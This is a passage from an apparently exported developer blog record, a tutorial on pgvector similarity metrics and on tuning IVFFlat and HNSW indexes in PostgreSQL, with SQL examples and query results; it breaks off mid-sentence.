source.","tags":[{"_key":"899f65c823fd","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"73d79ae32d2c","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"34d12d009511","_ref":"d4e858d3-c34f-479f-b156-3ad83e807091","_type":"tag"},{"_key":"c5c1e2c40bed","_ref":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_type":"tag"},{"_key":"07de93477a34","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"41bbf6655b9a","_ref":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_type":"tag"}],"title":"Database migration with Apache Kafka® and Apache Kafka® Connect"}
{"__i18n_lang":"en","_createdAt":"2024-03-08T07:35:05Z","_id":"168fd4e3-223d-4475-bedb-b07ae2bdbb69","_rev":"YaKEzcVhnb7P0fmfvBeKSd","_type":"devArticle","_updatedAt":"2024-08-01T12:15:40Z","body":"Using AI, it’s possible to find similar text information, photos or products in a database. As the number of searches increases, performance can be a problem, though.In this article, I’ll show you how indexes can help.\n\nWe’re going to use PostgreSQL’s [pgvector extension](https://github.com/pgvector/pgvector). It enables you to store AI embeddings, which are representations of information, and enables you to perform similarity searches on them. Pgvector has a couple of features that make it particularly popular. It supports hybrid searches, mixing standard and vector queries. For example, someone shopping online might want to search for shoes that look like a photo of their existing pair (a vector search), and that cost less than $100 (a standard database query). Pgvector also enables retrieval-augmented generation (RAG), where information from the database gives additional context to generative AI, improving the quality of the output and reducing hallucinations. \n\nThis tutorial explains:\n\n\n* The basics of vector similarity\n* How pgvector can be used for vector similarity searches\n* How indexes of various types can help to speed up searches\n* The possible tradeoffs in output quality when using indexes \n\nSee our previous blog for a refresher on [what embeddings are and how pgvector can be used for face recognition](https://aiven.io/developer/find-faces-with-pgvector).\n\n::alert[To get insights about your database performance and improvement suggestions, check out [EverSQL by Aiven](https://www.eversql.com/?utm_medium=organic\u0026utm_source=ext_blog\u0026utm_content=aivenindexpgvector)]\n\n\n## Understanding vector queries\n\nIn the AI world, embeddings are a representation of a piece of information (such as text, image, sound, or video). They are expressed as an array of numbers. \n\nAI models such as OpenAI’s `text-embedding-ada-002 `can generate embeddings from text (see the image below). These embeddings are always the same length, no matter how long the source text is. In the case of `ada-002`, the embeddings are 1536 elements long. The embeddings can be compared to find text with a similar meaning.\n\n\n![Text about pizza on the left passes through OpenAI and comes out as an array of numbers.](https://cdn.sanity.io/images/sczeoy4w/production/6144809ae2ab7fcafb9f2a28330b164b299deee4-3200x376.png)\n\n\nBut how does this embedding comparison work? We can picture the embeddings as points in an N-dimensional space. In the case of `text-embedding-ada-002`, it would be a 1536-dimension space. \n\nTo find information similar to a particular search query, the AI model would:\n\n\n\n1. **Create an embedding for the search query**, using the same method used for the stored data. Information with a similar meaning should be represented by embeddings with similar values. These embeddings would be closer to each other in the N-dimensional space.\n2. **Search the N-dimensional space** to find the embeddings that are closest to the search query. \n\nIt's hard to imagine a 1536 dimension space, so to keep things simple, we’ll visualize the data in a two-dimensional space. In the image below, you can see the search query embedding in yellow in the center, and the six closest results we’d want to find in red. \n\n\n![In a two-dimensional space, our search query is represented in yellow in the middle, with possible results around it. The six closest matches are shown in red.](https://cdn.sanity.io/images/sczeoy4w/production/0812ca86a9d9d0b22bad1ba961334584cbf2dc33-1680x1240.png)\n\n\nIn that image, we’re plotting the data as coordinates. However, the embeddings can be considered as vectors. These are mathematical objects that have a length and direction. They’re represented by an arrow that starts at the graph’s origin at `[0,0]` in the bottom left and extends to the vector position. You’ll see these shortly. \n\nThere are several ways that the similarity of vectors can be measured. Let’s create a PostgreSQL environment where we can explore the different approaches using pgvector.\n\n\n## Setting up a PostgreSQL playground\n\nWe’re going to spin up an [Aiven for PostgreSQL](https://console.aiven.io/signup) database. Follow these steps:\n\n\n\n1. [Access the Aiven Console](https://console.aiven.io/signup).\n2. Select **Create service**.\n3. Select Aiven for PostgreSQL.\n4. Select the cloud provider and region.\n5. Select the plan (the `hobbyist` or even the `free` plan would be enough).\n6. Provide the service a name, such as `pg-pgvector-index-test`.\n7. Click on **Create service**.\n8. Connect to PostgreSQL. To do this, wait until the service is in the `RUNNING` state, grab the **Service URI** and, with `psql` already installed locally, connect to PostgreSQL with: \n\n   ```bash\n   psql \u003cSERVICE_URI\u003e\n   ```\n\n9.  Create the pgvector extension using `CREATE EXTENSION vector;`\n10. Add some data using the following code:\n\n    ```sql\n    CREATE TABLE VECTOR_TEST (id int, name text, vctr vector(2));\n\n    INSERT INTO VECTOR_TEST VALUES\n        (1, 'VectorA', '[2,3]'),\n        (2, 'VectorB', '[8,1]');\n    ```\n\n\nWe now want to calculate the similarity between the two vectors (`VectorA` and `VectorB`) and a third vector (`VectorC`) with coordinates `[4,4]`, as shown in the image below.\n\n![A graphical representation of the three vectors, with a line starting at 0,0 in the bottom left and extending to the end of the vector coordinates.](https://cdn.sanity.io/images/sczeoy4w/production/4087be80fac8c676e689a98d985ecac5c02e7d3a-2174x1210.png)\n\n\n\n## Understanding how similarity metrics work\n\nSimilarity metrics define the distance between two embeddings (or vectors). There are a [lot of different similarity metrics](https://towardsdatascience.com/17-types-of-similarity-and-dissimilarity-measures-used-in-data-science-3eb914d2681) we could use, but we’ll define the three basic ones: distance, inner product and cosine. \n\n\n### L2 Distance\n\nThe distance similarity metric calculates the Euclidean distance between two vectors using the formula `$\\sqrt{Δx^2+Δy^2}$`, as shown in the image below. You can visualize this by drawing a right-angled triangle, with the long side connecting the vectors. To calculate the length of the line connecting the vectors length, use Pythagoras’ theorem. \n\nEmbeddings with a lower distance metric are closer together in the space, and so represent content with a more similar meaning.\n\nThe distance similarity is measured using PostgreSQL `\u003c-\u003e` operator.\n\n\n\n![A graph that shows how Pythagoras' Theorem enables us to find the distance between two vector coordinates.](https://cdn.sanity.io/images/sczeoy4w/production/470bd7e658b7d84b407ec42f237b78933b0e038d-2174x1210.png)\n\n\nThe similarity between `VectorA` and `VectorC` is calculated as\n\n`$\\sqrt{(4-2)^2+(4-3)^2}$` which equals `2.23606797749979`. The similarity between VectorB and VectorC will be `$\\sqrt{(8-4)^2+(4-1)^2}$`, which equals 5. \n\nLet’s run the following query:\n\n\n```sql\nSELECT name, \nvctr \u003c-\u003e '[4,4]' distance \nfrom VECTOR_TEST;\n```\n\n\nThe result is what we expected:\n\n```\n name     |     distance\n----------+------------------\nVectorA   | 2.23606797749979\nVectorB   |                5\n\n(2 rows)\n```\n\n\nThe Euclidean distance is ideal for finding similar vectors if all the components of a vector have equal importance, and if they are normalized so the numbers are on the same scale (for example, between 0 and 1).\n\n\n### L1 distance\n\nComparing to L2 distance, L1 distance, also known as Manhattan distance or taxicab distance, calculates the distance between two points by summing the absolute differences of their coordinates.\n\nL1 distance can be used to measure the dissimilarity between vectors in a high-dimensional space. Unlike L2 distance, which computes the Euclidean distance and is sensitive to large differences due to its squared terms, L1 distance treats all dimensions equally and is more robust to outliers. This makes L1 distance particularly useful in scenarios where the data may contain significant noise or when the scale of differences across dimensions varies greatly. \n\nHowever, be aware that L1 distance might not capture the true geometric distance in a multidimensional space as effectively as L2 distance. Therefore, the choice between L1 and L2 distance in pgvector depends on the specific characteristics of the data and the requirements of your application.\n\nL1 distance similarity is measured using \u003c+\u003e or a vector function l1_distance:\n\n```sql\nSELECT name, \nvctr \u003c+\u003e '[4,4]'  \nfrom VECTOR_TEST;\n```\n\n\n### Cosine\n\nWe said that the distance metric is ideal for normalized data, but what if there could be large differences in the scale of the data? \n\nThe cosine similarity calculates the difference in the angle between the two vectors, measuring how closely the two vectors are pointing in the same direction. The cosine similarity metric does not otherwise consider the vectors’ positions in the space. The vector positions could be a long way apart.\n\nFor example, imagine a certain element contains the “number of times `Pizza` is mentioned in the document”, with the length of the line representing the frequency and the position of the vector representing the idea of pizza. You could use the cosine distance to find other documents containing the idea of `Pizza`, rather than focusing on documents that mention `Pizza` a certain number of  times. By contrast, a distance search on this element might be more likely to find items with a similar frequency, than items with a similar idea.\n\n![The cosine distance measures the angles between the vectors to find vectors that point in the same direction. This graph shows the angle between the lines that indicate Vector A and Vector C.](https://cdn.sanity.io/images/sczeoy4w/production/fbd060aa69a2da3d8e3ca7b7aa0836d422a16195-3200x1768.png)\n\n\nIn the case of `VectorA` and `VectorC` the cosine difference is calculated as `$((Xa*Xc)+(Ya*Yc))/(\\sqrt{Xa^2+Ya^2)}*\\sqrt{Xc^2+Yc^2)})$`, with the result being `0.9805806756909202`.\n\nThe distance similarity is measured using `\u003c=\u003e`.\n\nLet’s try it:\n\n\n```sql\nSELECT name, \n1 - (vctr \u003c=\u003e '[4,4]') cosine_similarity \nfrom VECTOR_TEST;\n```\n\n\nThe result is in line with the above calculation. The angle between `VectorA `and `VectorC` is way smaller than the one between `VectorB` and `VectorC`, therefore the cosine similarity of the `VectorA` is greater. In the output, a higher number represents greater similarity.\n\n```\nname    | cosine_similarity\n--------+--------------------\nVectorA | 0.9805806756909202\nVectorB | 0.7893522173763263\n\n(2 rows)\n```\n\n\n\n### Inner product\n\nThe inner product allows you to measure both the space between vectors and how well aligned they are. Although the inner product works well where the elements of a vector are normalized and have equal importance, it also works where not all the elements have an equal weight. \n\nTo see how it’s useful, imagine you have an AI model that creates elements expressing how often a certain word appears in a document. The word `Margherita` would appear often in articles about pizza and about queens of Italy. These are two totally different contexts, of course. Using the inner product, you can get a sense of whether a query and a result have a similar direction, which will reflect how close their meanings are. You can also get a sense of scale: how many mentions there are of the word.\n\nThe inner product calculates the area of the parallelogram created when you join the vectors as shown in the image below. \n\n![This graph shows the parallelogram created by joining Vector A and Vector C.](https://cdn.sanity.io/images/sczeoy4w/production/cc6fe640460d3dcc978b0563a92b7d826efd600a-3200x2780.png)\n\n\nThe calculation is made by multiplying each of the coordinates and then summing the result with the formula `$(Xa*Xc)+(Ya*Yc)$`. This is known as the dot product. The result, in the case of `VectorA` and `VectorC`, is `(2*4)+(3*4)=20`.\n\nThe inner product is measured using `\u003c#\u003e`.\n\nTry executing the query against the PostgreSQL database with this code:\n\n\n```sql\nSELECT name, \n(vctr \u003c#\u003e '[4,4]') * -1 inner_product \nfrom VECTOR_TEST;\n```\n\n\nWe multiply the result by -1 because PostgreSQL returns the negative inner product and we want to make the result positive. The result is in line with the formula:\n\n```\nname    | inner_product\n--------+---------------\nVectorA |            20\nVectorB |            36\n\n(2 rows)\n```\n\n### Hamming distance\n\nHamming distance measures the difference between two binary vectors by counting the number of positions at which the corresponding elements differ.  It is primarily used in error detection and correction, where it is crucial to determine how many bits need to be changed to transform one binary string into another:\n\nHamming distance is measured using `\u003c~\u003e` or `hamming_distance` function.\n\n```sql\nSELECT name, \nvctr \u003c~\u003e '[4,4]'  \nfrom VECTOR_TEST;\n```\n\n### Jaccard distance\nJaccard distance, on the other hand, can be used to compute the similarity between two asymmetric binary variables.\n\nThis metric is widely used in various data science applications, such as text mining to measure document similarity based on shared terms, in e-commerce to find customers with similar purchase histories, and in recommendation systems to suggest products based on shared preferences. It is particularly useful for asymmetric binary variables, where the presence of an attribute (e.g., an item purchased) is more significant than its absence.\n\nHamming distance is measured using `\u003c%\u003e` or `jaccard_distance` function.\n\n```sql\nSELECT name, \nvctr \u003c%\u003e '[4,4]'  \nfrom VECTOR_TEST;\n```\n\n## Testing the vector similarity theory at scale\n\nAs we have just seen, each coordinate needs to be evaluated to calculate the vector similarity.. If our data set has `N` rows containing vectors with `M` dimensions, we’ll need to perform at least `N*M` calculations to measure the similarity. \n\nIf we are working with long vectors, such as the ones coming from AI embeddings (usually in the range of 1000 elements), we would need to perform at least 1000 calculations for every row in our data set to calculate full vector similarity. This would not scale well, but there are several optimizations that can help.\n\nTo experiment, let’s download the OpenAI pre-computed Wikipedia article embeddings, which are available in the OpenAI Cookbook. The file contains embeddings for 25,000 Wikipedia articles. \n\nFollow these steps:\n\n1. Open the terminal.\n2. Download the zip file:\n\n    ```bash\n    wget https://cdn.openai.com/API/examples/data/vector_database_wikipedia_articles_embedded.zip\n    ```\n\n3. Unzip it with:\n\n    ```bash\n    unzip vector_database_wikipedia_articles_embedded.zip -d .\n    ```\n\n4. Connect to PostgreSQL:\n\n    ```bash\n    psql \u003cSERVICE_URI\u003e\n    ```\n\n5. Create a table named `articles`:\n\n     ```sql\n    CREATE TABLE IF NOT EXISTS articles (\n        id INTEGER NOT NULL,\n        url TEXT,\n        title TEXT,\n        content TEXT,\n        title_vector vector(1536),\n        content_vector vector(1536),\n        vector_id INTEGER\n    );\n    ```\n\n6. Load the table with `25,000` articles and related embeddings:\n\n    ```sql\n    \\COPY public.articles (id, url, title, content, title_vector, content_vector, vector_id) FROM 'vector_database_wikipedia_articles_embedded.csv' WITH (FORMAT CSV, HEADER true, DELIMITER ',');\n    ```\n\nNow, if we want to retrieve the top 10 articles which have a similar meaning to `Pineapple Pizza` we can issue the following query using the distance similarity:\n\n```sql\nwith data as (\n    select '[0.02338707074522972, -0.017537152394652367, 0.014360039494931698, -0.025202563032507896, -0.017234569415450096, 0.0018643466755747795, -0.013893559575080872, -0.009581765159964561, 0.006732450798153877, -0.03714194521307945, 0.021848944947123528, 0.008800094947218895, -0.012323915027081966, 0.005071401130408049, -0.0010046670213341713, 0.008768576197326183, 0.03086336888372898, -0.010867739096283913, -0.001483755186200142, -0.006631589960306883, 0.00044835725566372275, -0.01773887313902378, 0.01492738164961338, -0.01236173789948225, 0.022340642288327217, 0.009815005585551262, 0.008579461835324764, -0.00020428228890523314, 0.011605282314121723, 0.014309609308838844, 0.05285099893808365, -0.0039430223405361176, -0.012985813431441784, -0.01689416542649269, -0.02065122500061989, 0.0007375437417067587, -0.003873680718243122, -0.010886650532484055, 0.001689416472800076, -0.022769300267100334, 0.01762540452182293, -0.03451956808567047, -0.009644802659749985, -0.023160135373473167, -0.042336273938417435, 0.0012576066656038165, -0.002456903224810958, -0.01002933457493782, -0.0002019183593802154, -0.01362880039960146, 0.018482720479369164, 0.009733055718243122, -0.028140131384134293, -0.005036730319261551, 0.005433869548141956, 0.010357131250202656, -0.0082012340426445, -0.023424893617630005, -0.00740065285935998, -0.01778930239379406, 0.01135313045233488, 0.0030967381317168474, -0.03149374946951866, 0.003227541921660304, -0.0014018059009686112, 0.005799489561468363, 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-0.0014033818151801825, -0.005733299534767866, 0.009411562234163284, 0.022983629256486893, 0.0318719744682312, -0.006480298936367035, 0.028316637501120567, -0.021130314096808434, 0.004425262566655874, 0.004292882978916168, -0.019554365426301956, -0.0041069211438298225, -0.011485510505735874, -0.02469825930893421]'::VECTOR(1536) as vt\n)\nselect title, content_vector \u003c-\u003e vt similarity\nfrom articles join data on 1=1\norder by content_vector \u003c-\u003e vt\nlimit 10;\n```\n\nThe vector defined in the `data` section is the embedding of `Pineapple Pizza` generated using the OpenAI `text-embedding-ada-002` model. This is the same model that was used to calculate the embeddings of the Wikipedia data set. \n\nThe query results in the following 10 articles. The top articles are closely related to pineapple and/or pizza. Hawaiian Punch is semantically similar, as a food or drink item with a pineapple flavor. Afelia and pie are also food items. Lanai is known as the Pineapple Island because pineapples were grown there previously. We’re not sure why the New Zealand island of Te Puke appears in the results. \n\n\n```\n     title      |     similarity\n----------------+--------------------\n Pizza Pizza    | 0.5479716613013446\n Pizza          | 0.5768115872776731\n Pepperoni      |  0.610343554634968\n Pineapple      | 0.6146698071910883\n Pizza Hut      | 0.6337399221217159\n Te Puke        | 0.6567274128181192\n Lanai          | 0.6621790036299536\n Hawaiian Punch | 0.6701219221107402\n Pie            |  0.673541906631888\n Afelia         | 0.6747670584095107\n(10 rows)\n```\n\n\nThe above query returns in `447.857 ms`, since the data set is quite small. Still, in order to provide the results, PostgreSQL had to:\n\n1. Scan all the rows, where each row represents an article.\n2. Perform, for each row, a calculation over the `1536` elements.\n3. Order the results based on the similarity score.\n4. Retrieve the top 10 results.\n\nSuch an operation cannot scale to huge data volumes because it’ll need to perform at least `N*1536` calculations for each query. It’s worth remembering that there are more than six million pages in the English Wikipedia, and we’re only using 25,000 of them. \n\nSo, how can we speed it up?\n\n## Introducing indexes in pgvector\n\nA common solution to speed up queries in a database is to use indexes. They usually enable you to look up some column values quickly without losing accuracy. \n\nThis is not true for pgvector indexes, which can index one or more columns containing embeddings. To speed up the performance, we need to make accuracy tradeoffs. \n\nIf we want to optimize the performance of our query above, we need to take some shortcuts in the four execution steps. The ordering and retrieval are essential for our query. The only opportunities for optimization are avoiding scanning all the rows or performing the similarity search based on a subset of the `1536` elements.\n\n\n## Indexes to avoid a full table scan\n\nLet’s look at indexes that allow us to avoid scanning and comparing the input vector with all the rows in the data set. These indexes work by segmenting the vector space and allowing us to perform a top-down approximate search.\n\nThe two main indexes of this type in pgvector are IVFFlat and HNSW.\n\n\n### Using the IVFFlat index\n\nThe Inverted File with Flat Compression (IVFFlat) index groups vectors in clusters. The centroid is the middle of all the points in a cluster. When searching for a vector similar to an input, the first step is to find the nearest centroids and then look into the subset of vectors within their clusters.\n\nIn the image below, the search algorithm will look into the nearest clusters (`Cluster A` and `Cluster C)` but might skip all the points in `Cluster B`. \n\n\n![The graph shows how IVFFlat uses clusters of vectors to streamline the search. The closest clusters are investigated further.](https://cdn.sanity.io/images/sczeoy4w/production/7e019287dd035876b31f1ce65b6ff45158f57670-2200x1680.png)\n\nThe accuracy and speed of the results depends on the effectiveness of the clustering algorithm. IVFFlat provides two parameters you can tune:\n\n\n* `lists`: the maximum number of vectors in a cluster. All clusters have the same maximum number of vectors, but the actual number of vectors in a cluster can vary.\n* `probes`: the number of clusters to examine during the search.\n\n\n#### Tuning the IVFFlat lists parameter\n\nA smaller `lists` parameter creates smaller clusters, with less distance between the vectors and the centroid. However, it increases the number of clusters, making the search less efficient. The image below shows how a change in the `lists` parameter from 5 to 8 might affect the cluster composition.\n\n\n![The graph shows how increasing the lists parameter changes which vectors are in a cluster. In this example, two clusters merge.](https://cdn.sanity.io/images/sczeoy4w/production/f7efa266b91ada28056a31ff838c6bfa3bef9fd8-3200x1356.png)\n\n\nThe number of clusters and the distance of the centroid affect the accuracy of the results. In the following visualization we can see how the 4 similar vectors from the input might change in the case when only the closest cluster is inspected. Note that in both cases, one of the closest results is not discovered when the index is used.\n\n![The graph shows how the four closest vectors to the yellow input query change depending on the cluster size when only the closest cluster is inspected. Larger cluster sizes can give suboptimal results.](https://cdn.sanity.io/images/sczeoy4w/production/2875feb32fab477bd436c33e4ce2374dc838c134-3200x894.png)\n\n\n\n#### How to define the IVFFlat list parameter\n\nThe `lists` parameter is defined during the index creation stage. The [pgvector documentation](https://github.com/pgvector/pgvector?tab=readme-ov-file#ivfflat) suggests using the following formula for `lists` as a starting point:\n\n\n* `rows / 1000` for up to 1 million rows \n* `sqrt(rows)` for over 1 million rows\n\nFor our testing purposes, let’s create an index with a maximum of `200` vectors in a cluster:\n\n\n```sql\nCREATE INDEX idx_articles_ivfflat ON articles USING ivfflat (content_vector vector_l2_ops) WITH (lists = 200);\n```\n\nCreating the index took approximately `15 seconds` in my test environment. \n\n**Note**: Increasing the `lists` parameter will require more working memory. If your working memory is not enough you could get an error like this: \n\n```sql\nERROR:  memory required is 405 MB, maintenance_work_mem is 150 MB. \n```\n\nIn such cases, check your server has enough memory and then increase the working memory with a statement like this:\n\n```sql\nset maintenance_work_mem='500MB'; \n```\n\nYou can then try entering the index creation statement again.\n\nWhen you issue a new search query, it will use the index automatically. In some cases, you might need to run:\n\n```sql\nANALYZE articles\n```\n\nto force the index to be recognized.\n\nIf we issue the same `Pineapple Pizza` query we used earlier, the results are retrieved much faster (`130 ms`) but are quite different from the original query.\n\n```\n   title    |     similarity\n------------+--------------------\nPizza       | 0.5768115872776731\nPepperoni   |  0.610343554634968\nAfelia      | 0.6747670584095107\nRavioli     | 0.6852264524921056\nPot Noodle  | 0.6863169461307689\nCoprophagia | 0.6866620332212815\nKalua       | 0.6980457162874122\nAndouille   | 0.7013536605444092\nDim sum     | 0.7031395804694845\nDoner kebab |  0.704823434748779\n\n(10 rows)\n```\n\n\nMost of the results from our original results (including `Pizza Pizza`, `Pineapple`, and `Hawaiian Punch`) have disappeared. The new results have less similarity to `Pineapple Pizza`.\n\n\n#### Tuning the IVFFlat probes parameter\n\nWhy so much change? It’s because we clustered the vectors in groups of `200` and we analyzed only the cluster with the closest centroid to our input vector, because the `probes` parameter is `1` by default.\n\nThe `probes` parameter, which can be changed at query time, identifies the number of clusters that PostgreSQL will inspect. In the case of `probes=1`, only the cluster with the closest centroid to the input vector will be inspected. With `probes=N` the top N closest clusters will be inspected (see the image below).\n\n![Graph shows how increasing the probes parameter means more clusters are investigated, so results may be more accurate.](https://cdn.sanity.io/images/sczeoy4w/production/513ebe6d513d85285a93612e9294ab5c41c7bc53-3200x1340.png)\n\nA lower `probes` parameter speeds up queries at the cost of accuracy. A higher `probes` number will probably slow down the query, but it will return higher quality results.\n\n\n#### How to define the IVFFlat probes parameter\n\nYou can change the probes parameter before you run a query. In our example, we can change the `probes` parameter to `2` with:\n\n```sql\nSET ivfflat.probes = 2;\n```\n\n\nIf we now issue the same query as before, it displays a result set more aligned with the one retrieved from the non-indexed table.\n\n```text\n   title    |     similarity\n------------+--------------------\nPizza Pizza | 0.5479716613013446\nPizza       | 0.5768115872776731\nPepperoni   |  0.610343554634968\nPizza Hut   | 0.6337399221217159\nAfelia      | 0.6747670584095107\nRavioli     | 0.6852264524921056\nPot Noodle  | 0.6863169461307689\nCoprophagia | 0.6866620332212815\nKalua       | 0.6980457162874122\nAndouille   | 0.7013536605444092\n\n(10 rows)\n```\n\nThis is a good time to talk about performance measurement. When I ran this query, the time taken dropped from `130 ms` (`probes=1`) to `79 ms` (`probes=2`). That means I achieved both higher quality and faster performance, which was unexpected. However, the time scales we’re dealing with are tiny and highly susceptible to effects such as network delay because I was using a cloud service. I recommend you conduct your own speed tests. Results may be more repeatable and more likely to be as expected when working with larger data sets. \n\nSome entries from the original non-indexed results, such as `Hawaiian Punch`, are not shown. Let’s try increasing the `probes` parameter to `10`:\n\n```sql\nSET ivfflat.probes = 10;\n```\n\n\nThe query now runs in `208 ms` (much faster than the non-indexed `447 ms`) and the result set is more aligned with the initial content list.\n\n```\n    title      |     similarity\n---------------+--------------------\nPizza Pizza    | 0.5479716613013446\nPizza          | 0.5768115872776731\nPepperoni      |  0.610343554634968\nPineapple      | 0.6146698071910883\nPizza Hut      | 0.6337399221217159\nHawaiian Punch | 0.6701219221107402\nPie            |  0.673541906631888\nAfelia         | 0.6747670584095107\nPastry         | 0.6821241658509565\nRavioli        | 0.6852264524921056\n\n(10 rows)\n```\n\n\nThe most important takeaway is that increasing the `probes` parameter increases the accuracy, but also the query time.\n\n\n### Using the Hierarchical Navigable Small Worlds (HNSW) index\n\nAnother approach is the [Hierarchical Navigable Small Worlds (HNSW)](https://arxiv.org/pdf/1603.09320.pdf) index. Instead of creating clusters of nodes around centroids, the HNSW index creates layers of increasingly dense linked vectors, as shown in the image below.\n\n![The graph shows the layers of the HNSW index. The search path passes through a vector that links the layers, and then through the vectors connected to that vector on the lower layer. There are four layers of increasing vector density.](https://cdn.sanity.io/images/sczeoy4w/production/c6124f6bd8cf728a2226f873c0f22cccdd7b7135-3200x1982.png)\n\nAt query time, the search algorithm will start at the top layer and find the nearest vector to the input vector. It then descends through it, and assesses the vectors that are directly linked on the next layer. It keeps descending through the layers and evaluating the distance from the input vector until it generates the closest vector as the result at the bottom layer. \n\nInternally the HNSW indexes are built as linked lists, with an increasing number of nodes added at each layer.\n\nThe accuracy and speed of the results depends on how effectively the layers are built. HNSW provides two index creation parameters that we can tune:\n\n* `m`: the number of connections to nearest neighbors. For every vector on a layer, `m` defines the number of links to other vectors.\n* `ef_construction`: the number of nearest neighbors to keep in the list while traversing the layer for index creation.\n\nHSNW also provides a parameter tunable at query time, named `ef_search`. It dictates how many closest neighbors to keep in the working list during the search. The explanation above is simplified by implying there is just one path through the layers. The search can follow multiple paths through the layers, which is why the working list is needed. With a higher `ef_search` value, more vectors are inspected, which is slower but is likely to deliver better results.\n\n\n#### Tuning the HNSW `m` parameter\n\nA small `m` parameter will create layers with fewer connections, which are therefore faster to navigate. At the same time, having fewer connections between vectors means that the accuracy could be reduced. There could be a missing link between a node accessed at `layerN+1` and the optimal node at `layerN` as shown in the image below.\n\n\n![The graph shows how having a small value of m can mean the search can not discover a vector that is closest to the input query.](https://cdn.sanity.io/images/sczeoy4w/production/19dd046d215771e16491a9030303a1203cc91a87-3200x1712.png)\n\nOn the other hand, increasing `m` means the vectors on a level are more connected. There are more chances to find the closest vector, and just not an approximation due to a lack of connections. The improved quality comes at the cost of performance: more connections are available and therefore more connections need to be checked.\n\n\n#### Tuning the HNSW `ef_construction` parameter\n\nThe `ef_construction` parameter defines the size of the closest candidate list used during the index building process. The list contains the closest candidates found so far while traversing the graph. Once the traversal is finished, the list is sorted and only the first `m` links are kept. See the image below.\n\n![For each vector under analysis, ef_construction stores a working list of the closest vectors. When discovery is finished, the list is truncated to m, which stores the number of connections for each vector.](https://cdn.sanity.io/images/sczeoy4w/production/35f512e01083d5c8360a18d1106fb93823ed2b70-3200x1794.png)\n\n\nA higher value for `ef_construction` will likely increase accuracy because more vectors are kept in the working list. But it will take longer to create the index because there are more vectors to evaluate. \n\n#### How to define the HNSW `m` and `ef_construction` parameters\n\nBoth the `m` and `ef_construction` parameters are defined during index creation. Drop the IVFFlat index created previously with:\n\n```sql\nDROP INDEX idx_articles_ivfflat;\n```\n\nWe can then create the HNSW index with `m=10` and `ef_construction=40` by entering:\n\n```sql\nCREATE INDEX idx_articles_hnsw ON articles USING hnsw (content_vector vector_l2_ops) WITH (m = 10, ef_construction = 40);\n```\n\nThe HNSW index is slower to build than the  IVFFlat index. You can check progress with:\n\n```sql\nSELECT phase, \nround(100.0 * blocks_done / nullif(blocks_total, 0), 1) AS \"%\" \nFROM pg_stat_progress_create_index;\n```\n\nWhich will show a table like this:\n\n```text\n            phase              |  %\n-------------------------------+------\nbuilding index: loading tuples | 97.4\n\n(1 row)\n```\n\n\nThis tells us that the index is in the `loading tuples` stage (the second and final stage) at 97.4%. Our example took `2 min 5 secs` to build the HNSW index. That’s quite a lot longer than the `15 seconds` of the IVFFlat.\n\n**Note**: you might hit the following warning:\n\n\n```text\nNOTICE:  hnsw graph no longer fits into maintenance_work_mem after 23852 tuples\nDETAIL:  Building will take significantly more time.\nHINT:  Increase maintenance_work_mem to speed up builds.\n```\n\n\nThis can be solved by increasing the `maintenance_work_mem` as discussed for the IVFFlat index.\n\nTime to query! Let’s try our standard query and check the results! The query is now retrieved in only `28 ms` and returns exactly the same results as the non-indexed query which took `447.857 ms`.\n\n```text\n    title      |     similarity\n---------------+--------------------\nPizza Pizza    | 0.5479716613013446\nPizza          | 0.5768115872776731\nPepperoni      |  0.610343554634968\nPineapple      | 0.6146698071910883\nPizza Hut      | 0.6337399221217159\nTe Puke        | 0.6567274128181192\nLanai          | 0.6621790036299536\nHawaiian Punch | 0.6701219221107402\nPie            |  0.673541906631888\nAfelia         | 0.6747670584095107\n\n(10 rows)\n```\n\n\n\n#### Tuning the HNSW `ef_search` parameter\n\nAs mentioned earlier, the `ef_search` parameter dictates the number of closest vectors to keep in the working list during the search. The default value is `40`.` `Let’s check how changing this parameter affects the performance and the accuracy by modifying it to keep only the closest vector in the working list:\n\n\n```sql\nSET hnsw.ef_search = 1;\n```\n\nIf we now rerun the query, the result set is as shown below:\n\n```\n  title  |     similarity\n---------+--------------------\n Pompeii | 0.7384170730225783\n(1 row)\n```\n\nThere are a couple of things of note:\n\n* The result set contains only 1 row instead of 10: this is because `ef_search` dictates the number of vectors to keep in the working list, effectively setting a maximum number of results that can be output. \n* The retrieved row is not the one with highest similarity: since we are only keeping the closest vector during our descent through the layers, we found a local optimum and not the overall optimum result. The new result is both new and not closely related to the query.\n\nLet’s now increase `ef_search` to `5`:\n\n\n```sql\nSET hnsw.ef_search = 5;\n```\n\nAgain, the result set seems stuck in a local optimum, far from the expected results:\n\n```\n         title          |     similarity\n------------------------+--------------------\nAfelia                  | 0.6747670584095107\nPianosa                 | 0.6796609500654267\nEstádio Palestra Itália |  0.711623227925174\nGiannutri               | 0.7129644486337057\nGorgona, Italy          |  0.714280954413222\n\n(5 rows)\n```\n\n\nRaising the `ef_search` parameter to `20` gives us a result set closer to the expected results:\n\n```text\n    title      |     similarity\n---------------+--------------------\nPizza Pizza    | 0.5479716613013446\nPizza          | 0.5768115872776731\nPepperoni      |  0.610343554634968\nPineapple      | 0.6146698071910883\nPizza Hut      | 0.6337399221217159\nTe Puke        | 0.6567274128181192\nLanai          | 0.6621790036299536\nHawaiian Punch | 0.6701219221107402\nPie            |  0.673541906631888\nAfelia         | 0.6747670584095107\n\n(10 rows)\n```\n\n\n### HNSW vs IVFFlat: Which to use?\n\nThe tests we’ve done and their results provide a nice overview of the two indexing options we have. The next question is: which one should I choose?\n\nThe reply is, as always, it depends: IVFFlat indexes are usually faster to build and smaller in size, but, on the other hand, are slower to use and less accurate. If your main optimization objective is to speed up the index creation phase or to keep the index size to a minimum, then IVFFlat is your best option. If, though, you want to maximize both accuracy and query speed, then choose HNSW.\n\nIf you are carrying out a lot of updates and deletes on the database, HNSW is the better option. The IVFFlat clustering mechanism would need to be rebuilt, but HNSW can remove vectors from the internal linked list easily, taking less time.\n\n![Summary table comparing IVFFlat vs HNSW](https://cdn.sanity.io/images/sczeoy4w/production/5ba66e2d19565050210d1cd793c2cd7a82989f07-3200x1214.png)\n\n## Additional techniques to speed up vector indexes\n\nThe above techniques assume we want to create an index across the entire data set. However, we can use standard PostgreSQL performance improvements to further speed up certain types of queries.\n\n\n### Partial indexes\n\nFor example, if we only care about indexing a particular subset of the data, we can apply a `WHERE` condition during the index creation process, like 